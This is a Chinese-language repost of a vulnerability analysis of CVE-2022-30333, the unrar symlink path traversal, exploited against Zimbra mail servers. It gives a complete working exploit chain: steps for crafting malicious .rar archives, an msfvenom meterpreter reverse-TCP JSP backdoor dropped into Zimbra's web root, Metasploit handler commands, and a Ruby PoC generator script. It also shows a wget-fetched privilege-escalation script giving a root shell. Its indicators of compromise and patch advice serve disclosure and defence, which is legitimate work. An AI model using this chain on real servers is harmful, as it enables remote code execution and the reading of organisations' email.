目录导航
漏洞描述
Linux 和 UNIX 上 6.12 之前的 RARLAB UnRAR 允许目录遍历在提取(也称为解包)操作期间写入文件,如创建 ~/.ssh/authorized_keys 文件。注意:WinRAR 和 Android RAR 不受影响。
2022 年 5 月 6 日,Rarlab 发布了6.17 版,该版本解决了CVE-2022-30333 ,这是Sonar向他们报告的路径遍历漏洞, Sonar发布了一篇关于它的文章。Sonar 特别指出Zimbra Collaboration Suite使用unrar
易受攻击(特别amavisd
是用于检查传入电子邮件中是否存在垃圾邮件和恶意软件的组件)。Zimbra在9.0.0 补丁 25和8.5.15补丁 32中通过unrar替换为7z
成功利用此unrar
漏洞的攻击者可以作为zimbra
执行用户(在 Zimbra 上,即用户)在目标文件系统的任何位置写入文件。在 Zimbra 上,我们成功地利用了这个漏洞来执行远程代码。请注意,服务器不一定需要面向 Internet 才能被利用,它只需要接收恶意电子邮件即可。
虽然其他服务可能使用易受攻击的版本unrar
并应进行修补,但 Zimbra 是一个特别好的目标,因为正如我们将在下面讨论的那样,易受攻击的主机可以通过简单地接收电子邮件(无需用户交互)来利用。此外,Zimbra非常受欢迎(在撰写本文时,通过快速 Shodan 查询大约有 62,000 台面向 Internet 的主机)。最后,作为zimbra
帐户成功获得访问权限的攻击者可以阅读组织的所有电子邮件。
受影响的软件
UnRAR 6.17 及更早版本受到影响,用于:
- Zimbra 9.0.0 补丁 24 及更早版本
- Zimbra 8.8.15 补丁 31 及更早版本
- 可能有旧版本
由于仅通过发送电子邮件即可针对 Zimbra 进行利用,而且由于 Zimbra 在大多数使用它的组织中往往是有价值数据的金矿,Rapid7 认为修补此漏洞至关重要,而且这种利用很可能会发生。
技术分析
根据Sonar 的文章,CVE-2022-30333 中的核心问题是unrar
如何处理符号链接。具体来说,它验证 Linux 符号链接不包含使用正斜杠字符 ( ../
) 的路径遍历字符,然后将 Windows 符号链接(带有反斜杠字符)转换为 Linux。也就是说,它在转换数据之前执行安全检查。因此,恶意的 Windows 符号链接可以绕过 Linux 的保护并指向 Linux 文件系统上的任何位置。让我们看看这意味着什么!
构建恶意 .rar 文件
要生成恶意 .rar 文件,我们使用任何版本的 WinRAR(在 Windows 上)来压缩 Windows 符号链接:
C:\Users\ron>mklink testlink "..\..\..\..\..\..\..\..\etc\passwd"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\etc\passwd
C:\Users\ron>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink
RAR 6.11 x64 Copyright (c) 1993-2022 Alexander Roshal 3 Mar 2022
[...]
Adding testlink OK
Done

然后我们将我们创建的 .rar 文件复制到具有易受攻击版本的unrar
的 Linux 主机上
,并检查它:
比如我们下载一个6.11版本的winrar
https://www.rarlab.com/rar/rarlinux-x32-611.tar.gz
$ strings test.rar
Rar!
testlink
"../../../../../../../../etc/passwd
懒得输命令的直接拖入https://www.ddosi.org/code/ 进行字符串查看也行.

即使是 Windows,WinRAR 也会对正斜杠进行编码,因此我们将它们更改为反斜杠sed
:
$ sed 's|\.\./|..\\|g' < test.rar > test-fixed.rar
$ strings test-fixed.rar
Rar!
testlink
"..\..\..\..\..\..\..\..\etc/passwd
然后unrar
在具有易受攻击版本的 Linux 上:
$ ../rar/unrar x ./test-fixed.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
[...]
Extracting from ./test-fixed.rar
Corrupt header is found
testlink - the file header is corrupt
Extracting testlink OK
Total errors: 4
$ ls -l
total 2
-rw-r--r--. 1 ron games 110 Jul 15 10:06 test-fixed.rar
lrwxrwxrwx. 1 ron games 34 Jul 15 10:07 testlink -> ../../../../../../../../etc/passwd
-rwxrwxrwx. 1 ron games 110 Jul 15 10:02 test.rar
$ head -n1 testlink
root:x:0:0:root:/root:/bin/bash

即使它打印错误,它仍然成功提取链接,并且链接确实指向目录结构之外!我们可以通过重新计算 .rar 文件的校验和来修复这些错误,但由于unrar
似乎不介意这些错误,这将正常工作。.rar 实现也是非免费的,因此分发代码来重新计算校验和可能会有问题。
这就是创建恶意符号链接的方法。但是在本文的介绍中,我们提到了将文件写入文件系统。如何操作呢?
将文件写入文件系统
对于我们利用的下一部分,让我们看看如何将任意文件写入文件系统!
首先,我们像以前一样创建和压缩符号链接,只是这次我们将它指向我们的用户帐户可以写入的地方:
C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\tmp\akbdemo.txt"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\tmp\akbdemo.txt
C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink
[...]
然后我们创建第二个文件,其文件名与链接长度相同,但文件名不同,然后将其添加到存档中:
C:\Users\ron\Desktop>echo Hello, Internet! > evillink
C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar evillink
[...]
我们可以检查存档以确保我们做得正确:
C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" v test.rar
RAR 6.11 x64 Copyright (c) 1993-2022 Alexander Roshal 3 Mar 2022
Trial version Type 'rar -?' for help
Archive: test.rar
Details: RAR 5
Attributes Size Packed Ratio Date Time Checksum Name
----------- --------- -------- ----- ---------- ----- -------- ----
..A.... 0 0 0% 2022-07-15 10:16 00000000 testlink
..A.... 19 19 100% 2022-07-15 10:19 F5466516 evillink
----------- --------- -------- ----- ---------- ----- -------- ----
19 19 100% 2

然后,就像上次一样,我们将它复制到 Linux 并修复斜线。但这一次,我们还将文件名更改evillink
为testlink
存档中的。我们的目标是testlink
通过提取第一个文件创建一个符号链接,然后在提取第二个文件时写入符号链接。这意味着我们需要存储两个具有相同名称的文件,这rar
不允许我们这样做(如果我们尝试,第二个文件会覆盖第一个文件)。
以下是sed
我们用来反转斜杠、更改文件名并验证文件的命令:
$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar
$ strings test-fixed.rar
Rar!
testlink
'..\..\..\..\..\..\..\..\tmp/akbdemo.txt4@
testlink
Hello, Internet!
然后我们提取带有易受攻击版本的恶意 .rar 文件,unrar
并确认它写入/tmp/akbdemo.txt
:
$ ../rar/unrar x test-fixed.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
[...]
Extracting testlink OK
Corrupt header is found
testlink - the file header is corrupt
Extracting testlink OK
Total errors: 6
$ ls -l
total 2
-rw-rw-r--. 1 ron games 175 Jul 15 10:23 test-fixed.rar
lrwxrwxrwx. 1 ron games 39 Jul 15 10:24 testlink -> ../../../../../../../../tmp/akbdemo.txt
-rwxrwxrwx. 1 ron games 175 Jul 15 10:20 test.rar
$ cat /tmp/akbdemo.txt
Hello, Internet!
然后,我们将任意文件写入文件系统上的任意位置!但是我们之前不是提到我们可以利用 Zimbra 吗?
利用 Zimbra
Zimbra 是一个一体化的电子邮件解决方案,它自动配置一个名为Amavis的工具来检查传入的电子邮件消息中是否存在垃圾邮件和(具有讽刺意味的)恶意软件。Amavis 非常可配置,但在修补之前,它用于unrar
检查 .rar 文件:
ron@zimbra:~$ sudo cat /opt/zimbra/conf/amavisd.conf | grep \'rar\'
['rar', \&do_unrar, ['unrar', 'rar'] ],
['exe', \&do_executable, ['unrar','rar'], 'lha', ['unarj','arj'] ],
在最近的 Zimbra 补丁中,Amavis 使用了它7z
。
知道附加文件将使用 UnRARed unrar
,我们将我们已经构建的恶意 .rar 文件通过电子邮件发送给服务器上的任何用户(我们没有设置真正的 Zimbra 系统,因此我们从服务器上的一个用户通过电子邮件发送给另一个用户) . 然后我们检查了/tmp
Zimbra 上的文件夹,就像在我们的本地测试中一样,/tmp/akbdemo.txt
它确实是由以下人员创建和拥有的zimbra
:
ron@zimbra:~$ ls -l /tmp/akbdemo.txt
-rw-r----- 1 zimbra zimbra 19 Jul 15 17:19 /tmp/akbdemo.txt
ron@zimbra:~$ sudo cat /tmp/akbdemo.txt
Hello, Internet!
Amavis 日志显示了unrar
我们之前看到的相同错误:
ron@zimbra:~$ sudo journalctl -t amavis | tail -n14
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) Checking: 9CcP4Rib32w2 ORIGINATING/MYNETS [10.0.0.154] <[email protected]> -> <[email protected]>
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) 5x162D0R55bZ(9CcP4Rib32w2) SEND from <[email protected]> -> <[email protected]>, [email protected] 250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 754D8C11CB
武器化这个漏洞仍然有些困难——我们无法覆盖文件,而且zimbra
用户可以写入的位置数量实际上是相当有限的。话虽如此,我们确实可以使用 Metasploit 有效载荷成功地将其武器化。让我们看看如何!
武器化有效载荷
现在我们可以将文件写入文件系统,我们需要找到一种方法来植入后门。针对此漏洞的每个利用方式都会有所不同,但我们将重点关注 Zimbra 在其默认位置的安装。
我们可以写入 Zimbra 目录结构的位置数量是有限的,但我们可以使用find
命令枚举它们:
$ sudo -u zimbra find /opt/zimbra/ -type d -writable
/opt/zimbra/log
/opt/zimbra/logger
/opt/zimbra/logger/db
/opt/zimbra/logger/db/data
/opt/zimbra/logger/db/data/rrds
/opt/zimbra/logger/db/work
/opt/zimbra/docs
[...]
我们试图找到可以编写 shellscript 的地方,例如/etc/profile.d
和其他类似的地方,但找不到可写的地方。我们寻找其他文件的 Zimbra shellscriptssource
,但也没有运气。我们查看了 overwriting ,但事实证明,由于调用/opt/zimbra/.bashrc
方式的原因,该漏洞利用无法覆盖文件。
幸运的是(对于漏洞利用),我们确定 Zimbra 的 Web 根目录可由 Zimbra 用户(/opt/zimbra/jetty_base/webapps/...
)写入,因此我们选择了它作为目标。
要创建有效负载,我们使用msfvenom
并命名输出文件evillink
(以匹配我们之前的示例)
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o evillink
然后,在 Windows 上,我们创建一个符号链接,指向我们想要放置后门(公共服务器)的位置,以及我们的有效负载(确保在后门之前压缩链接,因为我们需要在写入链接之前创建链接):
C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp
C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink evillink
[...]
然后,回到 Linux,我们像上次一样修复文件并将其通过电子邮件发送到 Zimbra 服务器上的任何帐户:
$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar
<send test-fixed.rar as an email attachment>
通过电子邮件发送后,我们可以验证漏洞是否成功触发并提取了后门:
ron@zimbra:~$ ls -l /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp
-rw-r----- 1 zimbra zimbra 1922 Jul 15 17:48 /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp
使用msfconsole
,我们可以启动我们的处理程序:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
然后使用curl
触发后门:
$ curl -k 'https://10.0.0.154/public/backdoor.jsp'
或者,如果服务器仅是 Intranet,则向服务器上的任何用户发送包含后门链接的电子邮件(这将不可避免地需要用户交互,除非服务器全局允许显示图像):
<img src="https://10.0.0.154/public/backdoor">
-or-
<a href="https://10.0.0.154/public/backdoor">Click me!</a>
-or-
<a href="https://some-open-redictor/?url=https://10.0.0.154/public/backdoor">Click me!</a>
无论如何,一旦链接被加载,我们的有效载荷就会触发:
[...]
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Sending stage (3020772 bytes) to 10.0.0.154
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:42032) at 2022-07-15 10:56:46 -0700
meterpreter > getuid
Server username: zimbra
unrar cve-2022-30333 poc&exp
cve-2022-30333.rb
# Encoding: ASCII-8BIT
require 'zlib'
if ARGV.length != 2
$stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
$stderr.puts
$stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
exit
end
SYMLINK_LENGTH = 0x68
PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
$stderr.puts "Payload symlink is invalid, probably too long!"
exit
end
PAYLOAD_LENGTH = 0x1000
PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
if PAYLOAD_DATA.length != PAYLOAD_LENGTH
$stderr.puts "Payload data is invalid, probably too long!"
exit
end
FILENAME_LENGTH = 0x0c
FILENAME = "DONTLOOKATME"
RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
RAR.concat(FILENAME) # Symlink filename
RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
RAR.concat(PAYLOAD_SYMLINK)
RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
RAR.concat("\x80\x00\x00\x0c")
RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
RAR.concat(PAYLOAD_DATA)
RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
print RAR
poc用法:
CVE-2022-30333 的概念证明 – 6.11 之前的 unRAR 版本中的路径遍历漏洞。我创建了这个作为 AttackerKB 文章的利用的演示,并希望尽快将其合并到 Metasploit 模块中!
基本上,您提供一个目标(包括路径遍历)和一些文件数据,该工具将生成一个 .rar 文件,该文件将提取该文件到该位置。最大文件长度为 104 字节,最大文件长度为 4096 字节。(这不是漏洞所固有的,它只是我在生成文件时选择的)。
例如,生成一个后门msfvenom
:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
然后创建一个 .rar 文件,将 .jsp 植入有趣的地方:
ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar
由于在 Windows 上生成 .rar 文件然后将其复制到 Linux 是一件痛苦的事情,因此我们将一个工具放在一起,该工具将生成一个 CVE-2022-30333 .rar 文件。我们将它与 Metasploit 有效负载一起使用,使用以下命令利用 Zimbra:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar
因为 .rar 文件是专有的,所以该文件只是播放“填充空白”并构建 .rar 文件。
侵害指标(IOCs)
如何检测针对 CVE-2022-30333 的利用尝试将因unrar
使用方式而异。由于我们使用 Zimbra 作为易受攻击应用程序的代表性示例,因此我们将展示 Zimbra 的 IOC。
Zimbra 的 IOC
我们的漏洞利用将 .jsp 文件写入 Web 根目录;Zimbra 上任何 Web 目录中的新文件或异常文件都应被视为可疑文件 ( /opt/zimbra/jetty_base/webapps/**
)。然而,攻击者可以很容易地删除它以掩盖他们的踪迹。
因为我们的概念证明没有修复校验和,所以我们可以在日志中看到校验和错误:
ron@zimbra:~$ sudo journalctl | grep -i unrar | tail
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
漏洞利用不一定会留下该证据。如果用户收到可疑的 .rar 文件,这也可能表明有利用企图;但是,我们也确定了目标用户不一定需要存在。即使是未送达的邮件也会被扫描。
扫描的邮件暂时写入/opt/zimbra/data/amavisd/tmp
,可搜索可疑 .rar 压缩包:
# fgrep -r 'application/x-rar' /opt/zimbra/data/amavisd/tmp/
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-103991-x9QRhIEC/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-65117-FMBPrQEV/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T175513-23049-oTr59qOe/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T180936-02718-xaYD1dfZ/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/log/trace_log.<date>
似乎也记录收到的 .rar 文件:
# fgrep -r '.rar' /opt/zimbra/log
/opt/zimbra/log/trace_log.2022_07_14:17:46:30.107:qtp1381713434-18:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:46:42.585:qtp1381713434-218:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:14.298:qtp1381713434-267:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:16.073:qtp1381713434-281:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:52:42.029:qtp1381713434-292:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=270&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
最后,所有消息都已登录/opt/zimbra/store
,并且可以搜索可疑的 .rar 文件:
# fgrep -r 'application/x-rar' /opt/zimbra/store
/opt/zimbra/store/0/3/msg/0/341-473.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/319-417.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/303-352.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/315-407.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/270-122.msg:Content-Type: application/x-rar; name=test.rar
/opt/zimbra/store/0/3/msg/0/296-336.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/364-528.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/348-489.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/378-856.msg:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/store/0/3/msg/0/269-119.msg:Content-Type: application/x-rar; name=test.rar
除了系统日志,所有这些日志文件都归zimbra
用户所有,因此可以被攻击者操纵。
还值得一提的是,同一版本的 Zimbra 存在权限提升错误(提醒请谨慎在 Github 上运行随机脚本):
zimbra@zimbra:/tmp$ wget -q https://raw.githubusercontent.com/darrenmartyn/zimbra-slapper/main/slapper.sh
zimbra@zimbra:/tmp$ bash ./slapper.sh
~ slapper.sh - zimbra zmslapd local privesc exploit ~
[+] Setting up...
[+] Triggering our exploit...
[+] done!
[+] Cleaning up staged files...
[$] Pop root shell
# whoami
root
指导
Rapid7 建议将所有 Zimbra 安装修补到最新的分支。阻止到 Zimbra 服务器的互联网流量使利用变得更加困难,因为像我们这样的利用需要直接连接,但并非不可能;Intranet 浏览器很容易被诱骗发出请求。
参考
- CVE-2022-30333
- Sonar’s writeup
- Rarlab’s patch
- Zimbra 9.0.0 patch
- Zimbra 8.8.15 patch
- Privilege escalation bug
- Rarlab
- Proof of concept tool
转载请注明出处及链接